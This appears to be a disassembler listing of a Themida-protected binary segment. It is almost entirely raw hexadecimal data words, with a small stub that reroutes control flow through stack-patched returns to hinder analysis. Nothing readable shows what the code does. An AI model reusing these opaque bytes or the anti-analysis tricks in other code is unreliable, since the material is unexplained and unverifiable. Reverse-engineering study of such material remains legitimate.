dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 4D0EC351h
dd 4E830ECEh, 66C6CEF5h, 68A3C7BFh, 0CAD49FCEh, 830F5060h
dd 0
; ---------------------------------------------------------------------------
pop esi
mov edi, 17B52A18h
popa
add dword ptr [esp], 352B615Eh
push 0
push ebx
call sub_5BCAF5
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BCAF5 proc near ; CODE XREF: Themida_:005BCAEDp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_5BCAF5 endp
; ---------------------------------------------------------------------------
db 0DBh, 56h, 42h
dd 3E68A4CFh, 18E0Fh, 0FFFC0000h, 1219CD95h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 7C814869h, 689EBD65h, 85BD0BA8h, 3061209h, 120DB1BDh
dd 35B58D06h, 6A06195Dh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 6354C357h, 986AF9C0h
dd 6C75A69h, 36343831h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 0C4C35747h, 0E7481F52h, 370446C7h, 6631342Dh
dd 46C7FA8Bh, 8, 61952300h, 6A06122Ch, 0C6B35200h, 35858D5Ah
dd 0E906195Dh, 0Fh, 0D2658BE6h, 0AD14EA64h, 58619B11h
dd 90E9F40Fh, 5E8h, 24036B00h, 0F51086Dh, 89h, 505F5B00h
dd 9D4F71BFh, 6A9015h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 0FF6F00C3h, 1229D995h, 799D8B06h
dd 0B06121Bh, 30840FC0h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 54FCC355h
dd 4108FA86h, 2EED431Bh, 247E9h, 45958900h, 0E8061204h
dd 4, 12Ch, 50DF8B66h, 448B15B5h, 0BF660424h, 8B4044h
dd 0C4BA6657h, 44895976h, 8E90424h, 0C4000000h, 4F987063h
dd 58C84E4Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 88C35747h, 0FF80E621h, 1219CD95h, 51006A06h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 89898A24h, 4DD2440Eh, 0FBBB66EAh, 0EE867h, 4C7B0000h
dd 37EDE2DAh, 0C4A2A052h, 0D9B2E4A0h, 6800Fh, 85890000h
dd 6120139h, 35B58D5Bh, 0F06195Dh, 0C81h, 68C0F00h, 8B000000h
dd 121EA995h, 4606C706h, 6A656C69h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 4747C350h
dd 0E94A77A6h, 12h, 0CA5A0DA5h, 5087D206h, 43440580h, 0A700564h
dd 9D3362FEh, 61214D9h, 6D0446C7h, 6A636E6Fh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 895AC352h, 12107585h, 9DB46006h, 1B45BD0Bh, 0C7610612h
dd 616C0846h, 8D2B7373h, 6122A01h, 0C46C7h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 0AA5AC350h, 54AA65D3h, 14E9h, 9C66C300h
dd 0B6A48DB4h, 0A6CCFDD8h, 9C77383Eh, 829ED717h, 3820FAEh
dd 0F000000h, 6ACBBFh, 13E8h, 2EAEA100h, 85DDAE2Eh, 0EA474BC0h
dd 0F5162D95h, 0D97C35A6h, 5FB5C780h, 5D35858Dh, 0EA800619h
dd 51BD8BF1h, 50061216h, 0FE8h, 0FC5D300h, 0C0A9779Bh
dd 0CBC26C0Fh, 0F092B60Eh, 800F51h, 59000000h, 2404895Bh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 8AC35141h
dd 29D995FFh, 8D890612h, 61205C1h, 840FC00Bh, 35h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 2C35343h, 735EEFE8h
dd 0A2824AB4h, 2DD1BD31h, 11E90612h, 8B000000h, 1221DD95h
dd 0FA45E906h, 0BD89FFFFh, 6122329h, 7277B58Dh, 6A0612h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0A2D60AC3h, 0D1DDE2EAh, 0B8h, 0FFCA8A00h, 0A5958BE6h
dd 8B06120Dh, 568D8DC1h, 6A061965h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 8A86C352h
dd 0FAB70FC3h, 9A18D89h, 958B0612h, 6122ABDh, 50585C7h
dd 59A80612h, 0C7F90000h, 121BD985h, 6, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 1BD89ECh, 0FF06121Fh, 122DB9B5h, 59E38106h, 0FF05153Dh
dd 121B3195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1A04h, 0C3524200h, 75B208E5h, 8BFC0949h, 0FF006AFBh
dd 1219CD95h, 0EBC08B06h, 8BCA64Fh, 5A1F5463h, 0D8560184h
dd 197F269Dh, 3081B480h, 8341E02Fh, 0EDAA746Bh, 0C64CC72Fh
dd 0BBBE3ACAh, 0FEDCB700h, 0D100455Ch, 79A60EBh, 0DC3AA07Ah
dd 0E32C6653h, 38FDEC8Eh, 9745CD2Ch, 0C0E02817h, 513411DCh
dd 89F59B05h, 0D454BAE2h, 0CE8h, 1B405700h, 537A4070h
dd 0BDD407E4h, 4266BFF7h, 8B59155Bh, 2DC181F9h, 31000059h
dd 12176D85h, 1623BA06h, 0CF810000h, 6C00972Fh, 0BE66198Bh
dd 0C3812A03h, 13615E60h, 0B025BE66h, 0EFB6EB81h, 0B86607A8h
dd 0F381E4E5h, 0C2257CCh, 0BD8B1989h, 6123195h, 8B01E983h
dd 120D4D85h, 49494906h, 9E9h, 0F838E900h, 1DB2E0EAh, 0F4A6B77h
dd 1285h, 52B86600h, 28E9C7h, 5E2A0000h, 0E23F9840h, 8B0A92A0h
dd 12318985h, 0FF9AE906h, 0C432FFFFh, 0D215A830h, 2D4E2BB4h
dd 2A806F81h, 434BDC92h, 2EE9F75Dh, 77000000h, 4AC9B2h
dd 0Ah dup(0)
dd 0D5AE900h, 0BA680000h, 0E9061968h, 0FFF91969h, 19697368h
dd 195FE906h, 3A68FFF9h, 0E906196Ah, 0FFF91955h, 196AF268h
dd 194BE906h, 4D68FFF9h, 0E906196Eh, 0FFF91941h, 19713D68h
dd 1937E906h, 3268FFF9h, 0E9061972h, 0FFF9192Dh, 0E482EEE1h
dd 0F89600F4h, 10AE1008h, 26C42A20h, 3BD94136h, 0C0173CEh
dd 1F1606A4h, 342D1DBBh, 4C4636D4h, 0F05150EEh, 26D577Fh
dd 0B2536676h, 0D883E3DCh, 26D3F67h, 96004E76h, 62D35C5Ah
dd 6FE9073Ah, 0B189F341h, 0E85154BCh, 60551D12h, 79FF5F8h
dd 6C44AE04h, 0F6681373h, 12393300h, 5DDB4548h, 933EC5C8h
dd 9C71990Ah, 2A786FE9h, 1FC435C0h, 4269FBA6h, 9D9FE8D0h
dd 77E183B6h, 48AC4E98h, 8E83D9DDh, 25D94BF6h, 0B36B56A1h
dd 80D1B41Eh, 75FB7554h, 0FFD3B38Ch, 0DE2FECA8h, 2EEFh
dd 865C9500h, 45C22C8Eh, 9F10BB46h, 69FB0BDAh, 499A9DEBh
dd 75FB141Dh, 1A9C7C55h, 873FD2A8h, 26CB63Bh, 2FE5CE25h
dd 0C15DEh, 20BB0000h, 84Fh, 4FB1A97Fh, 150FA9E5h, 4FEB4B7h
dd 64D55246h, 6FE9073Ch, 5A5DF543h, 39CE6C04h, 7B04AF32h
dd 0E04AAEA5h, 0FB1DB06Dh, 9093E169h, 0FB22133Fh, 92724B75h
dd 0DC463A10h, 9A3E9572h, 0C133DE2Fh, 2C31737Ah, 0B4ED5702h
dd 3Ah, 0E0636A5Ah, 11C3C435h, 0FC4A69FBh, 0EAAADF51h
dd 94CFEFE1h, 0CAF6472Ah, 275FB31h, 0C424CD3Fh, 0B8A98F53h
dd 7C749C0Dh, 2D7B75FBh, 6E4222C3h, 0DE2FF017h, 0CB5Eh
dd 150F0400h, 0DFF414BBh, 297F82EAh, 46041195h, 0F5ABAEh
dd 45DD4138h, 544F289Ah, 2D4878FEh, 302AE0C3h, 0F466CFD2h
dd 218C061h, 0F1C93371h, 58FB99F7h, 24278B82h, 0E5F164CEh
dd 3B6FE9AFh, 5545E341h, 91FAFD5Bh, 3FE541Fh, 2D27CADCh
dd 0DE76CCCFh, 3C120D4Ah, 0B11BAA6Ah, 0FFAA3934h, 0FB7DE58Eh
dd 8A6F469h, 3EE97873h, 85E7DFB5h, 2079A81Bh, 46947010h
dd 68D0C59Bh, 7DE5DACAh, 43BC888Bh, 25CAAD79h, 0A6Dh, 0CC6AD6C9h
dd 0E07EE8DCh, 0F896F8F0h, 0EAC1208h, 23C1291Eh, 0F4E95BB6h
dd 7FEEE8Ch, 1C1505A3h, 342E1EBCh, 0D83938D6h, 26F3F67h
dd 0E93B4E76h, 2991865Ch, 8E66D026h, 0A3933199h, 59AD4BA9h
dd 35E0636Ah, 0BC1F6BC3h, 55B5EC8h, 0B8EB8B71h, 5152C34Eh
dd 0F869FB3Eh, 2A56A7AAh, 6275FB41h, 4C942D9Fh, 0A839FFC3h
dd 0E9BD9D3Eh, 0DE305E92h, 82D9h, 150F7F00h, 65FD5F57h
dd 4FB7AC62h, 2EFFB4Ch, 4B456FE9h, 655F4FEDh, 0A2A90407h
dd 5A03741Fh, 6369FB0Bh, 0EBE27715h, 1E3CAD58h, 0F1700FB0h
dd 2D22F8A3h, 423727C5h, 0E819E8DAh, 1D007943h, 9B478h
dd 238F8200h, 37A19585h, 4FB1A999h, 65CBC1B1h, 7AE2D7C7h
dd 0A2106FDCh, 0B7A745ADh, 0CEBE5CC0h, 0E7D775D5h, 0F2F18FEDh
dd 70F82091h, 0F4077602h, 0B21A0FA2h, 0D33D3107h, 1FBEB69h
dd 0FB105A3h, 0FEB4B715h, 0FA229304h, 16FE907h, 0DA7D1BB3h
dd 3EA80E04h, 16153804h, 0D26FE08Bh, 4369FB2Eh, 0A9A8FBF5h
dd 0C6CC3E5Eh, 20913CC7h, 19D24F0Bh, 2048B91Ah, 2F19AE2Fh
dd 2C9E49E1h, 49D2DA9Bh, 0AF92FC99h, 1FCA5954h, 0C1B755AEh
dd 0CB76C413h, 52001959h, 0BC267373h, 0F0615B31h, 2FC2201Ah
dd 1FB9B507h, 1C44B516h, 231FB9B5h, 7A53DD5h, 0CF12F264h
dd 0D695A543h, 3C9A946Ch, 7A46AD4Ah, 0D07558C9h, 8EDh
dd 4CEA5649h, 60FE685Ch, 78167870h, 8E2C9288h, 0A341A99Eh
dd 7469DB36h, 877E6E0Ch, 9C958523h, 0B4AE9E3Ch, 58B9B856h
dd 271BFE7h, 69BBCE76h, 0CB7150Fh, 7EA1283h, 0D4456FE9h
dd 6FE907ACh, 186665B3h, 7D70CBAEh, 52C93BE6h, 5981F27Ch
dd 606FE9A9h, 0CFC7E12h, 54BCB1A9h, 691FB51h, 0FBE35895h
dd 0F0E7BD69h, 0F543228Ch, 1B7B744Ah, 21948D7Dh, 0FBE388B0h
dd 0B1499775h, 796F45AEh, 50BA1013h, 0FBE3B5DDh, 0F3043075h
dd 767575FBh, 37054EFh, 0F5EDD2BAh, 57029AFEh, 0D1E2DE6h
dd 0B0E5C70h, 6ED8CCA2h, 0D4322C04h, 4A8E13E2h, 5E03E679h
dd 835h, 4A20E01h, 18B62014h, 30CE3028h, 46E44A40h, 5BF96156h
dd 2C2193EEh, 3F3626C4h, 544D3DDBh, 6C6656F4h, 1071700Eh
dd 271779Fh, 21738676h, 35E0636Ah, 0FB0F0BC4h, 40B11269h
dd 75FB0F18h, 9641D927h, 6164CAC0h, 4E51B3ABh, 13F660F8h
dd 88B021AAh, 9E75FB0Fh, 0EB4144A6h, 5C349EECh, 7060FE68h
dd 56BCB27Ch, 0E052BBBEh, 97342805h, 0DB58C276h, 36A853D2h
dd 91601929h, 0CF5AC40Eh, 0FBDAFE5Eh, 978B6175h, 96E4C32Dh
dd 9D7D3C93h, 0D270DACEh, 0FBDB1B47h, 4838C75h, 0DB94E859h
dd 0A5F375FBh, 968E6407h, 71DB3134h, 383BA599h, 0FBDAC3E7h
dd 9E9A875h, 475FE87h, 75FBDBDCh, 0DA0295E3h, 0E175FBDBh
dd 0DBE70F80h, 0A8F675FBh, 0DACEA610h, 592FD270h, 0BC94FE62h
dd 0DDB35EC8h, 331680E8h, 0FBDB66E2h, 0BC9C5B75h, 0F18FF9EDh
dd 29D4535Ch, 0FBDB8BB8h, 494C9A75h, 50120AE0h, 5B5EF658h
dd 93289B05h, 9B219B36h, 8A60E2C2h, 55E33591h, 353B04ACh
dd 0E45B099Dh, 271D7E0Ch, 3F89E0BDh, 0B5D04A91h, 76000001h
dd 3A62D35Ch, 416FE907h, 10C89F3h, 5D66D782h, 0AC69FB2Dh
dd 0E3DDB35Eh, 0FDF7E785h, 0C14B9C9Fh, 0ACEEC1D8h, 0E911820Bh
dd 0F0F13D87h, 8D0A0EA2h, 6B723863h, 0B1806001h, 18BB59B7h
dd 1FEBDAA6h, 68BEC12Bh, 2DE67CD4h, 97F1EBC3h, 0CA40920Bh
dd 0E0E37B3Ah, 52FD8485h, 2023837Ch, 0F2E260CAh, 0DD9396FCh
dd 0F7E785E3h, 4B9C9FFDh, 9EB89951h, 43C5A55Ch, 0E11776Dh
dd 7C764EB8h, 0A49D731Eh, 6C5CDA44h, 68900172h, 7763C75Ah
dd 75199529h, 833EDE52h, 0D7FE8EBh, 0E9E3A610h, 57C2F78Bh
dd 9D8E0B75h, 60D25B06h, 32C6BC97h, 7AED5719h, 63C7CC52h
dd 4EB6AB59h, 9F7518B6h, 0ED4346A6h, 4EB6AB83h, 81A91AA3h
dd 8F63C7CCh, 0E7353498h, 4E3F9A7Dh, 679B0CB7h, 0DA63C7CCh
dd 22931004h, 63C7CCFAh, 181BB301h, 2B7958C2h, 45A39D8Dh
dd 69CDC49Ah, 71661CFFh, 0F0AF0609h, 0E9474110h, 0AE1FA84Bh
dd 63C7CC86h, 8DEFE795h, 0A49C348Ah, 0F3494CAAh, 59B7B189h
dd 7BE3D8AEh, 302A2278h, 0F79CFD2h, 0E9D8D12Ch, 4BF68EF2h
dd 128E50C2h, 8064D7BBh, 0C7A8C5EDh, 1C86D463h, 0A8F02091h
dd 0B1FF63C7h, 6B292313h, 51B9AE76h, 5D60F84Eh, 0B66C6F07h
dd 985A5DBDh, 76703F1Fh, 908A7A18h, 0BCB18732h, 0AC07EA54h
dd 0F07924A3h, 0C7A8577Fh, 84186663h, 76C36296h, 2CB7216Ch
dd 0C7BD7FBBh, 0ECE08E63h, 91297F82h, 0C4EC5DE6h, 0CB63C7BDh
dd 0BDD1F96Ah, 8AD863C7h, 1A0A88F2h, 153DAE21h, 2463C7BDh
dd 0E03B3ED6h, 3CAD58EFh, 63C7BD04h, 0CB1FBD0Bh, 5E57150Fh
dd 0DA5FBFEh, 4068D962h, 4F6FE907h, 84199701h, 0DE4FFA89h
dd 69FB00BDh, 6FD3CAA0h, 0CDAC166Ch, 6D65271Fh, 1AB2080Bh
dd 7E29C117h, 0F557580Ch, 0C8F50346h, 0E5E77B5Eh, 0A9349E11h
dd 0DC7ADAD3h, 9093F3ECh, 0AB3635h, 46AAA177h, 1083ED43h
dd 700DE1D3h, 60B1B402h, 6FE9F534h, 701BA6A5h, 0FBDD46FFh
dd 6095769h, 6F85650h, 7337CFE5h, 0DA781D00h, 5C000004h
dd 6F5FFD69h, 8373117Bh, 9B8B298Bh, 0B1A13FA5h, 49B654BCh
dd 1F877CEEh, 369A9181h, 4FAFA898h, 69C7C1B1h, 0FA6BCCCBh
dd 760275D2h, 6A74C6D9h, 0C435E063h, 69FB01F3h
dd 98E9EC3Ah, 75FB0E6Bh, 16EACAA3h, 0DE2F85BFh, 23E7DEB4h
dd 6EC4C72Dh, 0AC336CD6h, 0D9000000h, 3C86EA5Ch, 0C279A2BFh
dd 0E9E32951h, 4AE2306Fh, 0E3116DE0h, 3CE76FE9h, 0A87DF1CAh
dd 0EC567C23h, 6DCBC59Bh, 0AC3F3ACFh, 0A9609001h, 216F6FE9h
dd 0B06E681Eh, 0FF5558B6h, 3534C967h, 0F989FBA6h, 329CB201h
dd 63D45FC9h, 6FE9F633h, 15EE1C8Eh, 0D1AAA69Bh, 373A8867h
dd 7E298781h, 0AFE1970Ch, 0E93B163Eh, 43D7256Fh, 3AA434F3h
dd 992827BCh, 0BFF365EEh, 0A686ECA0h, 86D245AFh, 956FE97Ah
dd 0D386B54Bh, 0E9613A62h, 5FF3416Fh, 56EE3BC5h, 36D60253h
dd 8C4B6FEAh, 0AA3938ACh, 0B6428EFFh, 3516FE9h, 0A98665h
dd 6A340000h, 0C435E063h, 69FB0F0Bh, 0BC1C412h, 7D12B014h
dd 0D647F28Fh, 75FB0FA2h, 0D0493F15h, 0FB0F375Fh, 60F84675h
dd 4BB1A75Dh, 0F05AF248h, 6FC0C311h, 96290150h, 592D0DE6h
dd 0D20B7602h, 6649h, 172EA000h, 0FDD246CCh, 5CD10D77h
dd 73A62D3h, 0F3416FE9h, 81000C89h, 73D65D6h, 0FE4C6FE9h
dd 0EA4E45FBh, 30B5B74Ch, 337840C1h, 514D6A07h, 338B64F8h
dd 69D1C6BEh, 39B526D1h, 0C86FE9F6h, 380E777Ah, 82D8DB43h
dd 3679A518h, 2FEE6FEAh, 50D1DB4Fh, 0FFD033A5h, 265F4D87h
dd 44C031BCh, 0D36FE989h, 0F93E785h, 0FA625715h, 0E44C41F7h
dd 5BF38BE1h, 2219EF58h, 827C54BEh, 1307CFC4h, 0B80E11A9h
dd 0FEED8220h, 8A47B863h, 0F69FB1Dh, 22ED1586h, 0AEFC75FBh
dd 14176544h, 0FB2297C3h, 16F6CF75h, 2F99EB42h, 4932DEh
dd 5CD80000h, 2B2E8C86h, 0FFEE6BD5h, 4748B964h, 669FB11h
dd 0C39B0DB8h, 0C0017870h, 96E7CA34h, 75FB246Ah, 24278780h
dd 0E11796Eh, 66C8C0B8h, 6189FA63h, 6875FB24h, 0E4C47B1Ah
dd 0E6C69F75h, 2F97BB12h, 10202DEh, 0FA80000h, 0FB615715h
dd 5F0AA2F8h, 7AAEC1EDh, 0A40EBA5Bh, 4E160BC1h, 359B9159h
dd 9C09099Dh, 3A970F42h, 0C4369FA2h, 47BACB83h, 0B088F292h
dd 0EC5558B6h, 53CAF263h, 0E3D86FE9h, 362E7C7Bh, 81D7DA40h
dd 0E7453F17h, 4EB2BE49h, 8E886FE9h, 0B9AF8530h, 90FA5053h
dd 0A3996F12h, 12BA5941h, 0DF7795CAh, 45A39D75h, 67CFC49Ah
dd 2E7A0E64h, 0B5DF6770h, 0E03B1E88h, 3AAB56EDh, 69FB8781h
dd 79C3A88h, 61D27D04h, 700FE9CBh, 83590452h, 0A57B268Eh
dd 0F1474AAEh, 90660987h, 0DA30339Bh, 8623D746h, 85EF964Ah
dd 5E50B8ADh, 794442FBh, 0EAC66B4Eh, 4C000001h, 5F4FED59h
dd 7363016Bh, 8B7B197Bh, 0A1912F95h, 39A644ACh, 0F776CDEh
dd 268A8171h, 3F9F9888h, 59B7B1A1h, 0EA5BBCBBh, 760278C2h
dd 0F64B6C9h, 7114B21Ah, 9A78EDFFh, 0C22CB279h, 3A32F0EAh
dd 94BC2DD8h, 9B6FE976h, 0C317B54Dh, 0FB28EA5Ch, 5B322861h
dd 0EA7974F1h, 0CDCE3Fh, 1B7C69FCh, 0FBFF82AAh, 433B8975h
dd 4D50E84Ch, 0C2EA5BE4h, 0C975FBFFh, 729E117Bh, 0AA75FBFFh
dd 0B71911E7h, 53F45EB4h, 73489F73h, 0A38FDE30h, 35000000h
dd 0CB7150Fh, 0D5D84236h, 0C932157Fh, 2F99FBF3h, 0F7FA6257h
dd 0E9029AA6h, 1C76706Fh, 0CCCDFC90h, 41DF775Eh, 0F6F95751h
dd 0BAB1909Bh, 65FD5356h, 0A79049BAh, 6BB969FBh, 5F542ACDh
dd 0CA9995FBh, 61F9F24Ch, 0F0737AF7h, 0D69DD445h, 72C0700Fh
dd 94FCF1C7h, 0A91106F6h, 441298B7h, 15BA9D79h, 0F5h, 44E24E41h
dd 58F66054h, 700E7068h, 86248A80h, 9B39A196h, 6C61D32Eh
dd 7F766604h, 948D7D1Bh, 0ACA69634h, 50B1B04Eh, 279B7DFh
dd 61B3C676h, 14B21A0Fh, 2ECC2A24h, 5ABEB58Bh, 0D35CB4F0h
dd 0E9073A62h, 0FBF3416Fh, 459B9E06h, 0AF0903DBh, 67A135EAh
dd 50E11017h, 98E2ED98h, 0AF656800h, 4ABB44B5h, 6FE94522h
dd 2048DB29h, 366FE945h, 81D7DA40h, 0F19C3482h, 0BEC3897Fh
dd 4DB7F882h, 0B0333ACFh, 29359305h, 0B0E3656Ah, 51BB53BBh
dd 9ED055C6h, 0EFC569F0h, 4D2C96F6h, 4C46FCFFh, 666050EEh
dd 10B40508h, 5F295319h, 0AE7C4CBEh, 0F4144F31h, 3A09E98Ah
dd 5444E240h, 0EAC5005Ah, 0C3889674h, 0FC200B6Bh, 750DA5D8h
dd 60C6BC72h, 0D45D065Dh, 0B20B3B63h, 8AF442BAh, 403A09E9h
dd 6C6137E2h, 41AB0104h, 7BD9D3C3h, 3D378h, 95810000h
dd 0B01C0F59h, 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah, 63CBC076h
dd 4DB5AA60h, 389E944Ah, 25877F35h, 0E786C22h, 0EC834D0Bh
dd 243C8904h, 0C781E789h, 4, 8704EF83h, 835C243Ch, 1C8904ECh
dd 5D086824h, 3C890000h, 2F5DBB24h, 0BD551AA4h, 361731D6h
dd 4503E5C1h, 8145DDF7h, 3D2DD9E5h, 25C5817Eh, 19D7116h
dd 0E8685DEBh, 8900003Ch, 4812424h, 424h, 53535F00h, 7F7F8EBBh
dd 245C295Dh, 478F5B04h, 8478108h, 5D7F7F8Eh, 5F2434FFh
dd 4C481h, 1C8B0000h, 0E3895324h, 4C381h, 0C3810000h, 4
dd 5C241C87h, 0F90C24E9h, 0E14433FFh, 0DD645BFDh, 24788433h
dd 19734CB8h, 0FFC50306h, 0F4C9CDE0h, 0B4B03016h, 0AEF23B17h
dd 17D7DD2Dh, 0EC00B04Dh, 9A145D25h, 0B866564Ah, 1F78C28h
dd 0DE86Bh, 3F9F0000h, 6BF9F3E3h, 0D35F3BFAh, 8BD0EAC8h
dd 0E9605AF7h, 0Dh, 318E0E73h, 9C8FD90Bh, 0DC5398Fh, 8161F87Ah
dd 0E257C2h, 870F00h, 0BF000000h, 386Fh, 0AFABE181h, 32FF17B4h
dd 28D0Fh, 0DDB10000h, 0BE9575Bh, 1A000000h, 23F13C7Eh
dd 0CD0C5DB6h, 81590DA5h, 0B9FFE1C3h, 0C38B6645h, 0B28EC381h
dd 870F2BEAh, 2, 0F3812DB4h, 25FE81A2h, 0B4DE8166h, 0BE1A8967h
dd 0FB098A1h, 0B801EA83h, 61289099h, 664A4A4Ah, 0F9B0C981h
dd 0F01EF83h, 0FFFFA185h, 5EBE66FFh, 0ECE971h, 0
dd 0AC370000h, 5CEB77E7h, 3C4977E7h, 0E21F77E7h, 0E30077F7h
dd 77F7h, 277E6h, 5 dup(0)
dd 0A5FD0000h, 77E7h, 2Bh dup(0)
dd 20000h, 0ED140000h, 0A2A31611h, 66113211h, 6699DA75h
dd 158D3215h, 72B7893Ch, 88CE70D3h, 17E368Eh, 913BF5h
dd 7DE39Eh, 6F7CF194h, 0F735B174h, 6642200Eh, 0DBA13B60h
dd 600325C8h, 36914615h, 0DE84B946h, 66223604h, 6694B79Ch
dd 0FB053407h, 60509C1Ah, 3E79E1EAh, 71CC8F96h, 12883407h
dd 0DE176202h, 66223604h, 6694B79Ch, 0FB053407h, 605098EBh
dd 3E79E1EAh, 619C3DE0h, 69883215h, 6644339Bh, 2D4ACE15h
dd 0EF113221h, 0A5011609h, 8F1FEA9Ch, 66223212h, 0D3F51B27h
dd 0E55FA721h, 7F30E6A8h, 0E22D3213h, 6611325Ch, 668837FCh
dd 0D6FC8D15h, 0E3AF7DBBh, 60086822h, 6689BF1Ah, 99BD3215h
dd 694252C5h, 66113295h, 757B915h, 7948D1Ah, 3C45B798h
dd 75F8340Ch, 90883215h, 5EB7C65Ch, 4D46BC7h, 0F18A5D37h
dd 2D27F808h, 0B6BBE121h, 17A7F4E9h, 3017203Dh, 0DEDA5AE0h
dd 24AEBDh, 70A0FADh, 56F887EAh, 75613407h, 0C1443215h
dd 72ED0095h, 0B8EAA7E5h, 1BA23F60h, 16D087D1h, 0E3AF80F6h
dd 60044D20h, 6958CDECh, 6644339Eh, 0E3ABCB15h, 600310A8h
dd 66883AFCh, 70C72415h, 4E2870E6h, 2794F568h, 668E203Ch
dd 9E443215h, 0EC488975h, 27A724C4h, 170DF474h, 2342203Dh
dd 6627DBECh, 92EC3215h, 0E002092h, 0E8365B7Ch, 0ADE1B275h
dd 9970BCA2h, 748B83A0h, 0B6C55213h, 701E8719h, 0EB70CA9Eh
dd 74B36F90h, 0B6BBCA13h, 662221FCh, 6075DC15h, 1B21B851h
dd 2B3A3F14h, 0A42A272Bh, 0E6AB445Ah, 570DB79Ch, 0EA4B3407h
dd 66223204h, 6614DB75h, 7EAC3215h, 0DC1F92B4h, 0F4D60B9h
dd 1794F474h, 258E203Dh, 0D1A5AECh, 99DBAE72h, 741283A0h
dd 610C3D13h, 6443215h, 819B13AAh, 0E39C535Eh, 609A0948h
dd 8F94CDE9h, 66223205h, 2F5E89CEh, 8E874EB6h, 2EC1A7A7h
dd 0C688BBD8h, 12ADB79Ch, 0E687340Ch, 6644320Eh, 6637BD1Ah
dd 76F83215h, 0A8883215h, 7A5A95C9h, 6E64C9C8h, 742A7DC8h
dd 0A05B2CC1h, 746C4390h, 8F426613h, 6611321Fh, 1056B836h
dd 0F43A2AAEh, 0AD98E1DDh, 77D6E9Ah, 4E01B7Dh, 664BDBFBh
dd 0B9F3215h, 0E70C9E52h, 0F427E9EAh, 0AC30797Ah, 0D797CD05h
dd 69172016h, 66883391h, 0E3C9CB15h, 60300948h, 9EC1CDE9h
dd 0A60DBBE9h, 9F422B61h, 662222FCh, 10140815h, 42222765h
dd 7F4066FFh, 9DE49D1Ah, 1794F4C4h, 238E203Dh, 0ED225275h
dd 0D5CCB3EEh, 70904A5h, 669FB11Ah, 77AC3215h, 3D223215h
dd 21C861F0h, 7EAEAE8Dh, 0B8B83116h, 0AB8866A5h, 0A479534Eh
dd 8F52522Dh, 66443205h, 564D6B1h, 832C266Fh, 3474E510h
dd 17DCD012h, 659387EAh, 0E81E3407h, 6688321Fh, 664437FCh
dd 39F66B15h, 0E39CC0A7h, 609A0948h, 9394CDE9h, 12E6B79Ch
dd 0E771340Ch, 0F23D58E2h, 7B4B91Eh, 618F8F96h, 69113407h
dd 66892190h, 0E382CB15h, 60301A64h, 6E933D50h, 69883215h
dd 66443091h, 8F435215h, 66113218h, 69CE7A6Dh, 8F087207h
dd 5B7525h, 18975AEFh, 0EF87C835h, 6644320Eh, 6631DA75h
dd 0EE453215h, 0E56E90AFh, 587F09B3h, 0F1A4496Eh, 5F7F994Bh
dd 69E96B03h, 6644339Bh, 0D3DDCB15h, 600331A4h, 0E8876575h
dd 66443215h, 0E22D524Ch, 66113215h, 668834FDh, 3FA75F15h
dd 392CE110h, 0E7715374h, 0F493EFFEh, 46ADB363h, 778B40Ah
dd 5D4CB798h, 6B613407h, 89443215h, 2C96414Bh, 818F9097h
dd 84B1A01Ch, 0EFBDE2EAh, 7F56FA90h, 0B4905213h, 3B120562h
dd 404CA3ACh, 0E3E45377h, 60031A64h, 67093D59h, 93443215h
dd 0B6E15AEDh, 72F8D233h, 6B883215h, 0D138A79h, 0E7FCDD7Dh
dd 2DF4312Fh, 30E9C3FFh, 9910846Dh, 742183A0h, 0E39CCE13h
dd 609A0948h, 9E94CDE9h, 12EEB79Ch, 6EF8340Ch, 0C0883215h
dd 6B35F23Eh, 8F53597Bh, 661132ECh, 6689B41Ah, 9FBC3215h
dd 4E53B7D3h, 69433407h, 66883E94h, 60C93D15h, 69223215h
dd 66113293h, 82855A15h, 0E34B8E5Fh, 66223214h, 0D3EECEECh
dd 609A12E4h, 3BC1BFE9h, 624202Eh, 6614B21Ah, 0E7EE3215h
dd 7CAFAD5h, 75CBE2EAh, 77113215h, 0FF8AB303h, 67BE3B0Ah
dd 8B578CF9h, 8C80A95h, 0E30184AAh, 605D46DDh, 6636DA75h
dd 48563215h, 75414ED0h, 7DFE41D1h, 0D3250917h, 12EB1E0h
dd 636069F6h, 9A443215h, 0CCA3DCF0h, 0BD90694Bh, 6B0CBF71h
dd 17C1F474h, 3424203Dh, 2C595AE0h, 6E619459h, 8C443215h
dd 600FF70Ch, 9974E7A6h, 74A8C3A0h, 72C43D13h, 6223215h
dd 661139FCh, 219B8015h, 77126AF7h, 0AB10ECBBh, 0EB70FC9Eh
dd 74B36F90h, 664BDB13h, 0D0803215h, 75DA2F0Bh, 0E19C06DBh
dd 1A960E7h, 69F2CDF4h, 6611339Ah, 0E301CE15h, 605D46D9h
dd 17A7F4E0h, 3417203Dh, 6689BD1Ah, 0EB83215h, 9B6086FFh
dd 661134FCh, 5CAD015h, 99FDA103h, 742183A0h, 679F3D13h
dd 9A883215h, 5D19B798h, 0D6423407h, 9970CEBCh, 6E6152C5h
